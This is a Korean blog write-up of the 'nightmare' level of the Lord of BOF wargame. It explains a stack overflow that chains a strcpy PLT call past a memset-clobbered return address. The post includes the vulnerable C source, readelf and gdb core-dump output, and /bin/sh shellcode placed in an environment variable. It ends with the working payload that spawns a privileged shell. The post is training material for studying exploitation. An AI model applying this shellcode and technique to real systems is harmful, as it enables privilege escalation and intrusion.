본문 바로가기
# write-up/- Lord of Bof

[LOB] succubus -> nightmare

by ddddh 2016. 12. 8.

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// check address

addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


ret의 영역에는 strcpy의 주소가 담기게 된다. 


프로그램이 종료되면서 strcpy를 실행하게 되는데 strcpy의 리턴 주소는 memset으로 인해 "AAAA"(0x41414141)로 리셋팅 된다.


하지만 프로그램이 종료되고 실행되는 strcpy를 이용하여 "AAAA"로 바뀐 곳을 쉘 코드가 있는 환경 변수 주소로 바꿔주면 된다.


우선은 strcpy()함수의 plt 주소를 알아내야 하기 때문에 readelf 명령어를 사용한다.


[succubus@localhost succubus]$ readelf -a ./nightmare | grep strcpy

  08049878  00b07 R_386_JUMP_SLOT       08048410  strcpy                   

   11:  8048410    34 FUNC    GLOBAL  0  UND strcpy@GLIBC_2.0 (2)

   82:  8048410    34 FUNC    GLOBAL  0  UND strcpy@@GLIBC_2.0


strcpy의 plt 주소를 비교하는 구문을 통과할 수 있으니 


cp로 복사한 파일을 segment fault 띄어 core dump 파일을 분석한다.


[succubus@localhost succubus]$ ./mightmare "`python -c 'print "B"*44+"\x10\x84\x04\x08"+"AAAA"+"BBBB"+"CCCC"+"DDDD"'`"

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBCCCCDDDD

Segmentation fault (core dumped)


[succubus@localhost succubus]$ gdb mightmare core
(gdb) x/80wx $esp   
0xbffffa28:     0x4000ae60     0x42424242     0x41414141     0x42424242
0xbffffa38:     0x43434343     0x44444444     0x00000000     0x08048420


"AAAA" = memset으로 초기화 되는 곳
"BBBB" = strcpy()의 첫 번째 인자 (&dest) = 0xbffffa30
"CCCC" = strcpy()의 두 번째 인자 (&src) = 0xbffffa3c
"DDDD" = &src의 값, 쉘 코드가 담긴 환경변수 주소 자리


이제 환경변수에 쉘 코드를 등록하고 주소를 구한 뒤 payload를 통해 exploit 하면 nightmare의 권한을 얻을 수 있다. 


[succubus@localhost succubus]$ export f1ay="`python -c 'print "\x90"*100+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`"


환경변수의 주소를 구하는 소스


#include <stdio.h>


int main()

{

        printf("f1ay offset = %p\n", getenv("f1ay"));


        return 0;


}



[succubus@localhost succubus]$ gcc -o ./get_env ./get_env.c

[succubus@localhost succubus]$ ./get_env 

f1ay offset = 0xbffffe84


작성한 payload를 통한 exploit


[succubus@localhost succubus]$ ./nightmare "`python -c 'print "B"*44+"\x10\x84\x04\x08"+"AAAA"+"\x30\xfa\xff\xbf"+"\x3c\xfa\xff\xbf"+"\x84\xfe\xff\xbf"'`"

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAA0󽽺ÿ¿þÿ¿

bash$ id

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)


























'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] xavius -> death_knight  (0) 2016.12.09
[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07
[LOB] giant -> assassin  (0) 2016.12.07